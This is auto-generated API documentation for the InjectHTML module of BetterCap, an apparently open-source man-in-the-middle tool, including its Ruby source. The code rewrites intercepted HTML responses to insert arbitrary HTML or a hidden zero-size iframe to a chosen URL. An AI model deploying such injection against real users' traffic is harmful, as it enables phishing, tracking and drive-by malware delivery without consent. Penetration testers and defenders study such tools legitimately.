Class: InjectHTML

Inherits:
BetterCap::Proxy::HTTP::Module show all
Defined in:
lib/bettercap/proxy/http/modules/injecthtml.rb

Overview

This proxy module will take care of HTML code injection.

Constant Summary collapse

@@iframe =

URL of the iframe if –html-iframe-url was specified.

nil
@@data =

HTML data to be injected.

nil

Class Method Summary collapse

Instance Method Summary collapse

Methods inherited from BetterCap::Proxy::HTTP::Module

available, #enabled?, is_builtin?, load, modules, #on_pre_request, register_modules, register_options

Constructor Details

#initializeInjectHTML

Create an instance of this module and raise a BetterCap::Error if command line arguments weren't correctly specified.

Raises:


38
39
40
# File 'lib/bettercap/proxy/http/modules/injecthtml.rb', line 38

def initialize
  raise BetterCap::Error, "No --html-data or --html-iframe-url options specified for the proxy module." if @@data.nil? and @@iframe.nil?
end

Class Method Details

.on_options(opts) ⇒ Object

Add custom command line arguments to the opts OptionParser instance.


22
23
24
25
26
27
28
29
30
31
32
33
34
# File 'lib/bettercap/proxy/http/modules/injecthtml.rb', line 22

def self.on_options(opts)
  opts.separator ""
  opts.separator "Inject HTML Proxy Module Options:"
  opts.separator ""

  opts.on( '--html-data STRING', 'HTML code to be injected.' ) do |v|
    @@data = v
  end

  opts.on( '--html-iframe-url URL', 'URL of the iframe that will be injected, if this option is specified an "iframe" tag will be injected.' ) do |v|
    @@iframe = v
  end
end

Instance Method Details

#on_request(request, response) ⇒ Object

Called by the BetterCap::Proxy::HTTP::Proxy processor on each HTTP request and response.


44
45
46
47
48
49
50
51
52
53
54
55
# File 'lib/bettercap/proxy/http/modules/injecthtml.rb', line 44

def on_request( request, response )
  # is it a html page?
  if response.content_type =~ /^text\/html.*/
    BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into #{request.to_url}"

    if @@data.nil?
      response.body.sub!( '</body>', "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>" )
    else
      response.body.sub!( '</body>', "#{@@data}</body>" )
    end
  end
end